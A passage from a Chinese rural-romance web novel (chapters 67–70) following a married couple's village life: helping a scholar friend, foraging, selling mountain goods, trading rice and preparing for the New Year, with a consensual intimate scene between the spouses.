“爹娘都是大手大脚花钱之人,这笔钱要么够我上京赶考, 要么能花到我三十岁。” 奈宁也跟着坐下来,拿起茶杯喝了一口, 似笑非笑道:“大少爷家还挺有钱啊。” 萧练心头莫名一紧, 小心翼翼道:“具体多少钱我也不知,只晓得要到郡上才能领,现在不过一张空纸,夫郎不会生气了吧?” 奈宁眨巴着眼睛,笑盈盈道:“我生气什么啊?不就是以为大少爷是穷光蛋, 结果大少爷很有钱吗?” 萧练心脏咯噔一下,两根手指做走路状,走到奈宁手边,还没碰奈宁就收回手了。 萧练悻悻地撩着奈宁的手指:“我错了,下不为例,好不好?” 奈宁抿唇不说话,他就将人拉过来放到自己腿上又亲又吻的。 奈宁知道自己没道理生气,就莫名不得劲,俯下身来在男人唇上狠狠咬了一口,他还想再动作奈宁就跑了。 萧练回村了的消息传开,登上门来的书生更多了些。 “乡试榜单与部分答卷出来了,可惜萧兄没能去考,否则定能赚个举人归来!” 萧练腿脚不利索还不能出门,有人上门来与他讨论学问,也不至于太无聊。 但今日来的客人却有点出乎意料,一个穿着朴素的书生,高挑瘦削,皮肤黝黑,五官端正,气质与众不同,相较其他白面书生更沉稳些,看得出来出自农家。 他进来的时候一群书生毕恭毕敬做拱手礼,他礼貌回礼,脸上没见什么异样,直到看到萧练立刻笑了出来,步伐都加快了些:“萧兄!” 萧练看到他脸上也有笑容:“楚兄恭喜恭喜!” 楚峰笑道:“你没去,不然不是我。” 奈宁悄声道:“他是谁?” 萧练偏头低声回道:“朋友,解元。” “嗯?”奈宁愣了好久才反应过来,解元就是他中了举,还是第一名! 楚峰道:“这位是嫂夫人?” 萧练道:“正是。” 楚峰恭敬地行礼。 三人在堂屋落座,奈宁心脏还在怦怦跳,这是举人老爷上他家来拜访了。 这位举人老爷原本就不是空手而来,带了一只鸡一吊猪肉还有糕点,他似乎不止于此,还拿出一个红封:“自从萧兄家出了事,我一直也没能帮到什么忙,这……略尽绵薄之力。” 不用看,里面定是一枚银元宝,萧练掂了掂,摸约五十两,打趣道:“楚兄这是把上京赶考的钱都给我了?小弟真是感激涕零!” 楚峰俊脸微烫:“萧兄助我良多,这点钱财不足一提!” “那也不能克扣楚兄上京赶考的钱财,萧某还没到山穷水尽的地步。” 说吧,萧练看向奈宁。 这回不用他言说,奈宁就知道他想干什么了,微微欠身告退,进了房,将两枚沉甸甸的五十两银元宝放到一个荷包里,出来时将荷包送到萧练手里。 萧练看也没看,直接送给了楚峰:“楚兄的心意我就收下了,这是我与我夫郎的一点心意,楚雄赶考之路小弟不能帮做什么,略尽绵薄之力。” 楚峰推辞,萧练道:“你我既是兄弟,何必计较这些身外之物,若楚兄真不想认我这个弟弟,还是那句话,楚兄他日高中双倍还我便是。” 楚峰嘴唇嗫嚅忙道:“我没这般想!” 最后还是收下了,萧练又问:“何时出发?” “来看你一趟,明日出发。” “好,那我们他日上京,也算有个熟人在京城了。” 一起吃了顿饭,把人送走。 奈宁有点稀奇,话里话外他听出了一些东西,但又不敢确定:“你们?” 萧练把红封拆出来,里面果然是五十两银子,笑着递给奈宁:“我四处游学在云山县清平学堂认识了他,当时他因家中老母生病,正要退学。我游历到他们村子,在他家借住,与他彻夜长聊,数日之后他终于肯收下我给他的二十五两银子,待他母亲病好之后,又到我们县上读书,时常到我家……咳咳咳……” 奈宁扑哧一声笑了,看把大少爷急的。 “我我我……我是说之前在县城的那个房子,”看奈宁脸上没什么异样,萧练松了一口气继续往下道:“我有许多书,他经常来看,如此往来,越发熟络。我出事之后,他也来看过我,但当时急着乡试,之后就是我搬回来了。” 奈宁好奇:“你为何主动去助他?” 萧练沉默了好一阵:“实话实说,爹娘经常主动资助许多人,大半家财都是这般耗尽的。” “许是父母耳濡目染,加上他才学确实出众。”想到什么,他脸上有些微得意:“想不到爹娘资助半生,还不如我随意资助一个。” 奈宁赞道:“大少爷确实好眼光!” 萧练一把将他揽过来:“还喊大少爷。” 两人嘻哈打闹了一阵,萧练将夫郎揽进怀里,贴着他的脖子笑道:“我夫郎眼光更好,上一次五十两都不肯给,这次一百两随随便便就拿出来了。” 奈宁脸一烫:“胡、胡说什么,我只是拿了一百两给你而已,是你直接都给了他。” 萧练低笑不语。 奈宁有些担心道:“我还以为你会把那五十两还给他,谁知你却是收了!你娘他们只不过从县城到郡城这就要五十两银子,他从我们这么远的地方上京城五十两银子够吗?” 这就操心上了,萧练轻轻捏了捏夫郎尖尖的下巴:“五十两不少了,更何况是一百两,而且他不可能身无分文,至少还有五十两,所以共是一百五十两。” 看夫郎张张嘴想说又不知道说什么的模样,又捏了捏他脸颊:“夫郎可知本郡郡守姓甚?” 奈宁眼睛眨了眨:“钟?” 萧练爽朗笑道:“正是,夫郎聪明!” 所以他夫君看似不食人间烟火,目的性却是这么强。 萧练拧了拧眉:“当时郡城的房子刚刚定下,还没交房,我们就出事了,也不知道现在那房子怎么样了,我这才急着去看看,不过现在有了钟三公子,就不需要担心这么多了。” 奈宁点了点头,低头默默算着自己还剩多少钱,不知不觉掐起了手指,粗略算了算有一百五十两。 捧着楚峰给的那五十两,不由得心神恍惚,好多钱,好开心。 刚想把自己深藏的一百两都拿出来,就被男人握住了手腕,又被他拽进怀里。 此时深秋,稻谷成熟时也正是许多作物的丰收期。 萧练腿脚利索了些,拄着双拐也要跟奈宁一块上山。 大家都在田里割禾,山林没见到什么人。 萧练特意换了身破旧的衣裳,单拐的时候,爬山都连滚带爬,这会更是艰难,一个不甚,整个人都能从上面滚下来。 近村子的地方没有太多收获,越往山里走越偏僻的地方,物产越丰,花椒八角粟子还有枸杞。 奈宁捡了些花椒,又捡了些八角,这些东西用的不多,最重要的是去捡栗子,粟子又大又饱满,不一会就捡了小半篓。 大少爷不宜弯腰下蹲,在一旁摘枸杞。 粟子太沉,奈宁没摘太多,过来陪大少爷摘一会枸杞。 枸杞又红又漂亮,几颗就能把手掌给摊满了,整支提起来,绿叶红果,看着喜庆, 也不知该说他们倒霉还是如何,不知不觉刮起风,抬头一看,天边飘来了黑云,没多久又要下雨,秋天干旱,雨水不会下太久。 两人轻车路熟地往山洞里赶,大少爷终究走得慢,眼看雨水越来越大,奈宁想了想,抛弃了他,先跑一步,但跑到山洞时,衣服还是湿透了。 这会是深秋在外头晒太阳觉得热,这山洞冬暖夏凉,衣服湿了还是觉得凉。 他们之前落在这里的芭蕉叶都还在呢,已经干枯了,看来没什么人来,正好当柴草给烧了。 火燃起来,山洞一下子亮堂,奈宁正要出去再割几叶芭蕉叶回来。 一扭头,萧练浑身雨水进洞,拄着拐还抱着一大把芭蕉叶。 衣服头发都湿透了,脸上的笑容却格外灿烂,也不知道他瞎开心些什么。 奈宁脸颊莫名一烫。 两人没说话,把地面铺了,两个竹篓并肩挡在外面,还拿衣服芭蕉叶挡了挡。 两人共同坐在一边,其余周边是晾晒的衣服。 萧练一本正经烘着火,嘴角怎么都收不住。 第68章 第 68 章 别想 奈宁盘腿坐在芭蕉叶上, 如坐针毡,他扯了一张芭蕉叶,遮着自己, 尽量侧向一旁, 大少爷的视线还是无法躲避,比熊熊燃烧的大火还要烫, 炙烤着他, 猛地扭头对上男人的视线,男人半点没有被抓包的理亏,反而冲他灿烂一下。 奈宁脸蛋瞬间烧得通红, 结结巴巴道:“别、别老是看过来。” 说着还抬手要捂住他的视线,被他拉下手来, 低低喊了声夫郎。 奈宁浑身一颤, 被男人拉着, 一开始还不愿意过去, 萧练自己贴上来了。 嘴角的笑容越笑越灿烂, 宽阔的后背慢慢贴上来,烫着小哥瘦削的后背,在他耳边又喊了声:“夫郎。” 奈宁稍稍偏过脸来, 入目就是他俊俏的脸蛋,心脏乱跳, 看他笑得开心, 情不自禁跟着笑出来,轻轻应道:“嗯。” 萧练在奈宁肩膀吻了下,低声说:“我好喜欢夫郎啊。” 微凉的唇瓣吻过的地方无处不颤栗,奈宁肩膀缩着,却又忍不住贴上去, 享受着他的啄吻,整个人好像泡在温暖的泉水里,每一处肌肤都叫嚣着想要被亲吻到。 柔声回应道:“我也很喜欢你。” 萧练嘴角绽出笑意,灿烂迷人,火光打在他俊美的脸蛋上,阴暗交替五官更显停拔,漂亮的眼睛弯着,看着眼前的人都舍不得眨眼睛。 深情款款,温柔缱绻,被他看着的人心尖都酥了。 他凑过来,挺拔的鼻尖在奈宁脸蛋上蹭了蹭,这东西分明是柔软的,却又显得那么坚硬,呼出来的气息也灼人,逼得奈宁直往后退。 萧练一只手圈着奈宁的腰,一只手握着他的肩膀,让他无法退缩。 小哥儿瘦瘦的,一只手就能握住他的肩膀,触感意外好,锁骨精致,腰肢细窄,肤若凝脂,如雕似琢,是上上等温玉。 乌黑柔顺的头发披散下来,遮住了大半身段,引人遐想,更美了。 萧练第一次看到他就有莫名的感觉,以往见到其他人,都不会无缘无故凑上去,那一次小哥儿分明那么狼狈,坐在雨幕中,四周臭烘烘的,也不知出于什么心理他就是过去了。 小哥儿抬起头的时候,那张满是雨水的脸蛋,伴着滚滚的雷声砸在他心室。 黑白分明的眼眸含着水珠,一张小脸蛋生无可恋,脆弱无助,豆大的雨珠砸在他瘦弱的身体上,好像随时都要把他砸进尘埃。 霎时他的心脏就像乌云压顶的天空还被雷电劈得四分五裂。 凌乱的头发,遮掩了瘦削的脸庞,一双眼睛又黑又大,死气沉沉的,鼻子小巧挺拔,唇瓣没有一点血,抬头那一瞬间,是使人心脏都要被撕裂掉的脆弱美。 很美,伴着雷声雷光,因为那一眼,他在他眼里始终都是美的。 他伸手过去握着他的手,柔若无骨一折就断,却又很粗糙,让他产生了想要保护一辈子的冲动。 送他的那一程,忘了雷声,忘了乌黑的天地。 …… 萧练看着奈宁的脸怎么都看不够,现在白了些,也有了些肉,嘴唇红润了许多,在他瘦得脱相时,有几瞬都是美的。 现在有了点肉,皮肤也白皙了些,五官越发明晰,因为羞涩,脸颊带粉,长长的睫毛扑闪扑闪,不敢看人。 萧练轻轻蹭着他,在他脸上呵气,撩动他长长的眼睫,想要夫郎再多看自己一点。 几次之后害羞的小哥儿终于抬起眼睫:“干什么?” “夫郎真美!” 奈宁心脏都要融化了,没有什么比自己心爱的男人直视着自己,眼睛一眨不眨,说自己长得好美,叫人心里暖。 奈宁看着他,脸上神情越发温柔,俊美的脸蛋越贴越近,好看的嘴唇贴上了他的唇瓣,不知不觉就亲吻起来。 奈宁脸颊烫得厉害,在男人若有若无的啄吻之下,浑身都软了,无力的推着男人的肩膀,低声说:“一会有人来怎么办?” 男人好听的嗓音响在耳边,撩得他浑身酥酥麻麻的:“怎么会,现在不是农忙吗,刚才上山一路上都没看到人?” 他脸蛋在奈宁肩膀上轻轻磨蹭的,时不时伸出舌尖舔一舔,亲那纤细的脖颈,又亲精致的喉结锁骨,嘴角的笑容怎么看怎么不怀好意。 奈宁偏过脸去,硬邦邦道:“别想!” 萧练委屈道:“我没想啊,我就是想给夫郎揉揉肩膀。” 说着不轻不重地给奈宁捏着肩膀。 宽大的手掌不时在奈宁腰肢上磨蹭,奈宁伸手推他,他将脸蛋贴到奈宁手肘:“夫郎这里好嫩好滑啊!” 一边喃喃着一边将奈宁胳膊抬起来,整张脸贴上去。 0奈宁大窘,真的没脸看。 结果他还没完凑到奈宁耳边说:“咱们这般多不雅,要不……” 他压低了声音,咬着奈宁耳廓说着什么,奈宁似被电了一下赶紧推开他,道:“胡说什么,哪有这样子的!” 说什么进去了看不到了,就不有伤大雅了。 被人家看到抱成一团就很有生大雅好吗?还要那样,羞都羞死人了! 奈宁忍不住恼怒道:“你怎么想的,真是的,这都能乱说,看你斯斯文文的,竟然做这种伤风败俗的事!” “哪里,我只是想跟我夫郎做生儿育女之事,人之常伦。” “……” 萧练不停的将他往自己身上压,把他的手放在自己胸膛上,看他的眼神也是烫得叫人无法直视,也不知是出于什么冲动,他被男人搂在了怀里,不知不觉就如了男人所说。 男人的东西他帮遮掩了,他的,男人的大手也帮着遮掩了。 萧练在他耳边说:“是不是就看不到了?” 说的很有道理,那好像哪里又很不对。 奈宁浑身都红了,卷着身子,瘦削的肩膀直颤抖:“别、别说了。” 原本真被别人不小心闯进山洞,还可以撇清一下,现在是完全有嘴说不清了。 身后男人的喘息越来越沉,奈宁咬着唇不敢发出半点声音。 他却不甘于此,将人掰转过来让奈宁面对着自己。 奈宁:“……” 他美其言曰:“这样更看不到了!” 奈宁不说话,搂着他的肩膀,神情迷离,看着墙壁上叠在一起的两道身影发呆。 心脏越烧越烫。 这都什么事,怎么就迷迷糊糊上了贼船? 外面的雨声不知道什么时候停的,山洞里还在继续。 出来的时候艳阳高照。 奈宁腿脚发软,有些站不稳,膝盖都磨的红了,还有些乌青。 治疗之后一向爱惜腿脚不敢乱动的大少爷,突然冒险,哄着奈宁趴在叶芭蕉叶上,虽然有厚厚的衣服垫在膝盖上,动作有些激烈了,不顶事。 奈宁一个腿软,他温柔体贴的扶住,问道:“没事吧?” 气得奈宁想打他,但凡轻一些,没好气道:“现在腿不疼了?” 萧练挠挠后脖颈,笑容有些腼腆:“不知道为何,真不疼。” “……” 真是要命。 奈宁不想理他,但忍不住提醒道:“你还是小心些,可别又步了后尘!” “夫郎放心,不会的,这木板不已经除了么,说明差不多了。” 奈宁想踩他一脚,看他只有一只脚站着,想想还是不忍心。 这个时辰回村,路上好少人,大家都在地里忙活着。 趁着这个时间,奈宁经常上山,找点事干也能消磨一下男人的心思,捡栗子剪花椒摘八角,遇到满山遍野的葛根藤,又去砍了些,还拿锄头去挖葛根。 葛根里面有淀粉,但根须很多,吃的时候要吐一大堆须,特别是那些老葛根,大家就喜欢把它锤烂了,冲洗之后沉淀,晒干取粉。 奈宁寻到了一条大的葛根藤,挖出来能取不少粉,葛根粉可不便宜,要五十文一斤吧,不过处理起来确实很麻烦就是了。 他上来挖了三天,当然也有大少爷缠人的原因,见他出汗就纠缠上来,让他不要挖了,磨磨蹭蹭终于将整条葛根取出来。 葛根就是一条木根,老沉了,有五十多斤。 奈宁一分为二,大少爷取了多的那一半,他背了少的那一半还是沉得要命。 丰收的快乐是沉重的。 回到村子,肩膀酸疼的厉害,在路边坐着歇一歇,大少爷拿出水壶来喂他喝,还有野果子,更有干粮。 秋天的阳光暖呼呼的,他们一路下山,出了不少汗在树荫底下,风一吹,斑驳的阳光落在身上暖洋洋的,又很清爽。 不少人往家里担谷,奈宁也担过,比葛根沉,农忙时期,脑袋都没能抬起来,一门心思都在谷子上。 休息了一阵又出发,满满的干劲。 将在溪边将葛根藤清洗干净,回家再清洗,讲究些还要去皮,就怕有泥混在里面。 之后就是锤烂、冲洗、沉淀、晒干。 忙忙碌碌,五十多斤的葛根藤,就出来了两斤多的葛根粉。 有些人还做红薯粉,跟做葛根粉一样的道理,就是将红薯锤烂冲洗沉淀晒干。 奈宁一直不明白,红薯本来就整个都能吃,这么做到底图什么? 五十多斤的红薯,估计就出那么两斤多的红薯粉。 这不是浪费粮食么? 在葛根粉晒干的这个过程中,他们还上山捡山货,农忙结束时,他们备了不少山货,借了牛车,跟萧练又跑了一次镇上。 这一次没有太多好蘑菇,自己摆了地摊,摊位上有栗子花椒八角这些。 还有一大把鼓包的葛根藤,里面有没有葛根虫又或者有多少葛根虫,他就不知道了。 刚刚秋收完毕,又快过年了,大家都乐得买些吃食。 摊子刚刚摆上,一群人围上来,根本招呼不过。 “老板我要五斤栗子。” “老板这些葛根藤我全要了,还有那些葛根粉我也要全要了,记得给我留着啊!” 前面的在挑,后面的在喊。 奈宁应付客户又收钱,手忙脚乱,萧练淡定地在那里称称,人家说要一斤他就一斤,称尖翘得高高的。 奈宁这边堆了好多货等着称重,回头一看他慢悠悠的,好气又好笑。 觉察到夫郎的目光,萧练抬头笑一笑。 摊子前乌烟瘴气,他这么一笑,戾气都消散了许多,只觉得排再久的队都值得。 只是万万没想到,那个说要葛根藤又要葛根粉的客户,排到自己一看,两样都没了。 板栗也没有了。 气得买了一斤花椒八角。 这次钱没赚得多少,就两百多文。 奈宁心里却是舒坦的。 有收入的日子就是叫人宽心。 拉着萧练就去买些吃的,买了五十文的糕点,又买了苹果雪梨,路上闻到香香的烤串,又一人来了两串,牛肉串,羊肉串,还有鱿鱼串,香香辣辣的很好吃。 还去买了两双鞋子,带帮子的,有绣花很漂亮。 回去一算账,这么多天的劳动成果,还不够一趟买买买。 心情却是美美的。 第69章 第 69 章 年前 农忙一过, 老人小孩留在家里晒谷子,大人上山采摘山货,那些家里种田地少的, 还得上山去割草捡柴火。 家里人多, 鸡鸭猪狗都多,要的柴火就多了, 连小孩子也都被赶着一块上山去捡柴草。 自然也有些是捡去卖的。 大少爷家原本就备有柴草, 加上近竹林,随便捞一些竹叶助燃,竹壳也好烧。 早晨懒得煮饭, 又不想吃面饼,想吃点清淡的食物, 就可以泡个葛根粉。 葛根粉没有卖完, 自己也留了一些, 一点点粉末就能冲出一大碗葛根糊糊, 几勺葛根粉, 用温水把它融化,再用开水冲泡,翻滚搅拌, 拌成透明的糊糊状。 它本身无色无味,得搭配着别的东西吃, 放点糖, 放些枸杞红枣,再来点山楂,酸酸甜甜,口感丝滑软糯。 家里就两个人,没旁人, 在床上的时间久一些,手脚便不安分,起床时间就晚了。 吃完粥食,拿嫩些的葛根跟大骨头一块炖汤。 在慢火细熬时,两人就回去睡回笼觉。 天气冷冷的,夜晚还会下霜,早晨起来草上都盖着一层薄冰,太早上山衣服都能打湿掉了。 又有了赖在床上睡觉的理由。 不知大少爷家是什么时候弹的棉花,被子又大又暖和,上下两层,早晨半点都不想起床。 刚躺下去的时候有点冷,男人一钻进来就暖起来。 奈宁刚在外头吃了个朝,回来手脚都冷了,搭在男人身上很快又暖起来,困意回袭,没多久就睡得昏天暗地。 萧练以前读书寅正起亥初眠,从来没这般懈怠过,半点没有负罪感,还觉得挺好。 抱着夫郎,睡得心安理得。 睡醒时,一进这房就闻到浓郁香味,打开锅盖,蒸腾香气扑鼻而来。 肉香大骨头的肉香夹杂着葛根的清香。 汤汁清澈,一口汤下肚,清甜暖胃。 葛根吃起来也糯糯的,就是须有点多。 萧练第一次吃葛根,只觉得像吃木头,根须怎么嚼都嚼不烂。 看到奈宁把须吐出来,他才恍惚。 他们还是打算上山,在这之前,备点粮。 自己捡的栗子,先用水煮了,再放点糖炒一炒,喷香,上山的时候也带一些,解馋又饱肚。 葫芦里装上热水,背着背篓出门。 天气寒冷,雨水不丰,这会能捡到蘑菇也是幸运,但族长让大家先别捡了,冬天让蘑菇长一长,留些种子,明年能有个好收成。 奈宁就拉着萧练随便上山走一趟,赚得几文是几文,坐吃山空,总叫他不能心安。 上山人太多了,但凡树上有点东西,被人发现,叶子都能被薅秃,更别说果实。 在山里捡到的东西越来越少,奈宁就做了个陷阱,想逮只兔子。 地上零星还有些板栗,捡一捡也够吃两顿,在周边绕了一圈再回来,原本不抱希望,谁知那陷阱真被破坏了,赶过去一看果然有只兔子被捆了脚。 奈宁喜不自禁提了起来,回头冲萧练笑道:“有肉吃了!” 他们这兔子还挺肥大的,路过的村人看到了,稀奇道:“哦,真抓到了兔子,还这么肥!” 奈宁满脸得意。 这么肥的兔子不得卖个四十文钱,在山上一天能赚四十文钱也很不错了。 不过他们不卖,自己要吃。 之前买了谷子,打算养猪养鸡鸭,结果都卖了,现在谷子还在,要自己脱壳,而且还是不太好吃的谷子品种,加上现在秋收了,秋季新米是最好吃的。 奈宁就想将家里的谷子换一换,看村里谁家的谷子晒干了。 他跟萧练回家放了兔子,背着谷出门,首先来到秀红婶家,秀红婶家院子竹席上还晒着谷,小孩拖着木耙子在上面给谷翻面,嘴上还喃喃着什么:“不要人夸好颜色,只留清气满乾坤。” 萧练看了看,还挺新奇。 奈宁道:“这是让下面的谷子翻起来,晒得均匀一些。” “嗯。” 这小孩说小不小,十一岁了,看到他们来,脸一红,不知该叫夫子还是叫什么,小小喊了一声立刻将人引进家里,端了茶水上来,听他们说要换谷,忙出田去寻爹娘。 谷子是收回来了,很多人家还有稻草在里面,不急着将它扎回来,有空就去担两把。 没多久秀红婶就回来了,担着一大担稻草,衣服没穿两件,额上有汗水,看到他们立刻笑了,走快了两步到后院放了稻草,擦了把汗洗了手。 奈宁笑道:“去扎草啊。” 秀红婶笑道:“嗯,天气好日头大,恰好也闲着,就先去扎回来了。” 两人唏嘘一阵,直入话题,奈宁说想来换些谷子。 大多数人家都会种好谷去卖,贱谷自己吃或养牲畜。 秀红婶道:“今年又种了糯米,又种了细米,都是顶好的品种,你要多少呢?” 他们这边将好米称为细米,因为一般好吃的谷子都是细细长长的。 奈宁沉吟了好一会:“一百斤吧。” “要不要帮你们碾成米?” “最好不过了。” “刚好我们正在碾米,差不多就有一百斤了。” 谷或舂或碾,舂的米粒会零碎,碾的则颗粒分明。 也是用磨来碾,但不是石磨,这种磨要轻巧一些,碾出来的米粒白中有些微黄,再用鼓风机一吹,就是颗粒分明的米粒。 奈宁一看,果然已经碾出一箩筐的米了,笑道:“秀红婶这是打算碾来自己家吃的吧?” 这边不管是朝廷收税,还是商贩下乡来收米,都是收的谷子。 南方天气潮湿,谷子脱壳放不久。 秀红婶有些不好意思地笑道:“这不是今年赚到些钱了么,就想也尝尝这等细米,昨晚吃了一顿,着实是香,可不是那种糙米能比的。” 品质没那么好的米他们统称为糙米。 奈宁笑着点头,无比赞同,他一开始吃大少爷家的细米,那小炉子熬出来的米,打开锅盖扑鼻的清香,就光吃饭,没别的滋味,他都能吃饱。 萧练好奇地去推这个磨,这会儿单手都能推动,不像之前的石磨,一推自己要摔倒。 这米也不贵,按镇上的价钱三文钱一斤,他们自己的糙米换这个好米换算了一下,奈宁付了钱。两人各背了一大袋米回家,想到立刻能吃上新米了,奈宁满是兴奋,立刻就淘米下锅。 大火烧不能开盖,等到煮饭的水沸腾冒起,盖子压不住了就换小火慢熬,等锅底噼里啪啦的结锅巴,罢火,余炭慢慢温着,如此这般煮出来的米饭最香。 萧练正在清理兔肉,闻到香味,忍不住笑道:“好香!” 兔肉剁好之后拿油盐酱加米粉腌制,热锅下油姜蒜爆香,倒入兔肉爆炒,将兔子肉里面的水分炒干,再将姜蒜辣椒花椒全部倒进去,大火翻炒,快出锅时倒入葱段。 如此炒出来的兔肉香辣下饭。 还炒了一盘白菜,酸溜白菜。 菜少量多,热乎乎的端上桌,再舀上两碗米,狗子在外面叫个不停。 奈宁自个也被香的直流口水,赶紧夹了一块兔肉,蒸腾的热气迷糊了眼,原本想夹块带骨头的,结果没有,又香又开胃,又夹了一块,这时才带骨头,啃完了给狗子丢出去,两狗抢着吃,差点没破坏那摇摇欲坠的兄弟情。 再吃一口米饭,这米饭香香软软的,米胶浓郁,果然是秋季的优米。 秋天的雨水没有春天丰,阳光又足,种出来的作物总是要比春天的好吃些。 光吃饭就是一种享受,还有这么开胃的饭菜。 快过年时,村里人约着一块到镇上采购年货,组长家赶着牛车。 不少人背篓里背着山货,有的还挑柴,萧练坐在牛车上,旁边是一堆货物。 奈宁在下面跟着村里人走,看到车上的大少爷忍不住笑,追上他的视线,萧练也笑了笑。 北风萧瑟坐在牛车上不动,不光冷还挺颠。 奈宁这会穿的还是萧练母亲的衣裳,没有自己的棉衣,这会上街来就打算买些棉,做个棉衣。 本地能产棉,但棉还是个稀罕物,许多人家都没件棉衣的。 也是稀奇,这边村子也没看到哪户人家种棉花的,不过本地有木棉树,结出来的果实跟棉花差不多。 许多大户人家喜欢做,春天开花的时候特好看。 棉花有很多种,本地棉十来文一斤,还有从西域进来的棉,有四五十文一斤,还有上百文。 奈宁被掌柜的一通忽悠,摸着那上百文一斤的棉花,只觉得更柔软舒坦,一口气买了五斤。 村里人都跟着买,这家买几斤那家买几斤,量多起来了,跟掌柜的要了个便宜价。 大家喜气洋洋的,秀红婶道:“以前觉得棉贵,现在觉得也不过如此。” 其他人道:“哪里就不贵了,还是贵的,一斤十几文,若不是摘菌子赚了钱,往常一日都赚不到一斤棉花的钱!” 奈宁听他们说着,忍不住问道:“既然棉花这么贵,为啥大家都不种棉花?” 一时之间没有人说话了。 良久秀红婶道:“不知道啊,村里没见谁种棉花,也不知道一亩地能产多少斤?种多久才能有收成?” 奈宁道:“不是可以先开两分田地出来种一下试试么?” 众人陷入沉默之中。 “这棉花这么轻,一亩地也不知能不能出五十斤棉?” 若收成好,一亩地能有四五百斤粗谷,一斤按一文钱卖,怎么也有四百文。 棉花一亩地五十斤,按十五文钱卖,不对,卖给商贩要便宜许多,收购价有五文就很不错。 要是一亩地收成能有一百斤,那就是稳赚。 很多人都起了点心思。 到时种出来就算不卖,自己家缝点棉衣也好啊。 大家纷纷去看棉花种子,价钱不一,一斤价钱从五文到二十文不等。 大家都没见过这种比谷还贵的种子,不少人心疼起钱来。 奈宁各买几粒,老板竟然也卖。 他想回去随便种一种,到时要是搬家就一块搬走。 老板大概跟他们说了一下怎么种棉花,在大家分别去买东西的时候,萧练拉着奈宁进了书店,买了本耕种书籍。 第70章 第 70 章 过年 奈宁看萧练神色不对, 肯定是不止买那一本书,还买了其余的书,伸手冲奈宁要钱时笑容有点不对。 接着他们又去买些糕点跟肉, 出来看到大家都在□□联。 他们刚大婚, 对联都是新贴的,不用另外撕了换春联。 大家又一起坐下来吃点东西, 奈宁点了两碗馄饨, 皮薄馅厚,恨不得连汤都喝了,吃完整个人都暖暖的。 买的东西多, 大家索性合伙租了一辆牛车,放放货物也好, 不用自己背得这么辛苦。 收拾着正要往回走, 刚出了镇, 突然有人说:“唉, 那是谁, 那不是萧得金吗?” 大家顺着她所指的方向,顿时乐了,不光是萧得金, 他还拉了一个女的,进了树林。 那女人看着都有四十多岁了。 萧得金也不过二十出头, 饥渴成这样。 有人啐道:“伤风败俗!” “乱说, 说不定人家就是进林里面聊聊天呢!” “呦,这天寒地冻的,跑到林里面去聊天?我信个鬼!我信个鬼,我要去看看,你们谁去?” 他们拉拉扯扯的, 果然有一群人跑过去看。 没多久,一个个捂着眼睛跑回来了:“哎呀哎呀,真是没眼看,已经搞上了,还没进林就看到了,扶着一棵树就搞,衣服丢得满地都是,叫声还浪,哎哟,真是瞎了我的狗眼!” 奈宁脸烧得火热,不由瞪了萧练一眼,之前山洞那件事要是被人知道,不得羞死。 萧练却是冲他笑,凑到他耳边说:“我们俩夫夫,跟他不一样。” 热乎乎的气息灼在耳边,奈宁忙推开他。 这边几位婶子的话题还没有结束:“这人什么都捡来吃,就不怕得病!” “听说这种人最容易得那个什么什么柳花病?” “什么柳花病,是梅毒吧!” “是花柳病!” “哎呀,这种脏病可千万别给带回村啊!” 回去奈宁给自己做衣裳,大少爷偶尔帮帮手,但他大多数时候还是待在书房跟旁人讨论学问,奈宁就带着针线活到秀红婶家去做。 村子里陆陆续续有人家宰年猪,秀红婶家这边也有猪要宰,提前一天告知他们。 天没亮奈宁就跟萧练去看杀猪,几个壮汉子到猪舍里赶猪,好不容易把它压住,给了它一刀,放完血开始烫毛,之后用力刮猪毛,每一个动作都看得奈宁心惊胆颤的。 现场很热闹,许多大人围过来看热闹,还有不少小孩子在周边嘻嘻哈哈的打闹,跑来跑去。 灶房里的女人在烧热水,生火煮粥,新鲜出炉的猪下水刚好用来做猪杂粥,猪肝猪血猪小肠这些煮粥是最好吃的。 清洗干净之后,用油盐酱跟姜葱稍稍腌一会,之后倒进滚烫软烂的粥里,撒一把葱花。 秀红婶还招呼奈宁跟萧练进去吃一碗,早晨冷,呵出来的气息都是雾,没下雨但地上一片潮湿,说是雪融在半空了,手指头冻得发痛,在外面站一会就能牙齿打架。 喝一口猪杂粥,味道很鲜,新米熬出来的粥绵密清香,整个人都暖了。 都说猪下水腥,但这么出炉的猪杂粥一点都不腥。 大少爷眼睛低垂,也吃得很开心,吃完一碗舔舔唇。 人家客人多,他们也就一人来一碗。 他们买了十几斤的五花肉还有几条精排,又买了一条猪前腿。 回去路上奈宁还在回味那一碗猪杂粥,跟大少爷说:“下次谁家宰猪,咱们就订一些猪杂!” 猪杂这东西天天吃腻歪,但太久没吃又念得慌。 排骨剁了块,姜跟蒜末还有油盐酱腌一腌,再放一点豆豉,蒸出来的蒜末排骨很香。 晌午便是蒜末排骨,再加一碟青菜。 两只狗子有骨头吃,摇着尾巴吃完了又哼哧哼哧跑回窝里。 奈宁还要做腊肉,将五花肉腌一腌,确保每一条肉都均匀染上酱料,腌入味,就可以吊起来晾晒了,初晒之时最好拿桶装一装下面滴着的酱料。 腊肉炒冬笋好吃,想吃时奈宁就带萧练上山挖笋,大年三十除夕,他们还上山挖冬笋,挖了十颗。 下山时遇到张婶他们,说要去挖马蹄。 这东西不管是生吃还是熬汤都不错,奈宁跟萧练说:“你先把笋背回家,我跟他们走一趟。” 萧练不愿,拄着拐跟在后面也出了田。 这块田里不光有马蹄,还有茨菇,奈宁都想搞一些。 马蹄还好,清甜清甜的。 茨菇味道就有点独特,可能很多人吃不来,但吃惯了的话,偶尔炒一顿腊肉炒茨茹就很香。 要下田去挖,这田还比较泥泞,踩的一脚都是泥,大少爷站在岸边上不去,只能看着奈宁挖。 奈宁挖一会,看着他笑一笑。 萧练站在竹林边,吹着冷风,凉飕飕的,墨发衣服猎猎生风。 回去之后忙碌着清理食材,备年夜饭要做许多肉菜,从晌午一直忙到傍晚,饭菜陆续上桌。 这桌有两道,萧练不太能理解的菜,一道茨菇,一道茼蒿菜,一个味道比一个怪。 奈宁给大少爷夹了一块茨菇:“快尝尝。” 萧练还能硬着头皮吃,感觉有点苦苦的。 再给他夹茼蒿菜的时候,那股奇怪的味道差点没把他送走。 到底是哪家好人喜欢吃味道如此独特的菜? 他宁愿生啃折耳根。 除了这两道之外,其他都是好肉好菜。 不用贴对联,啥也不用干,两人早早回房。 自回房之后萧练的嘴角就一直压不下来,看着奈宁笑:“夫郎,要不咱们泡个脚,再看会书。” 奈宁点头笑应,他拄着拐屁颠屁颠跑去打热水。 不光抬来了热水,还有一个火炉,炉里烧着炭。 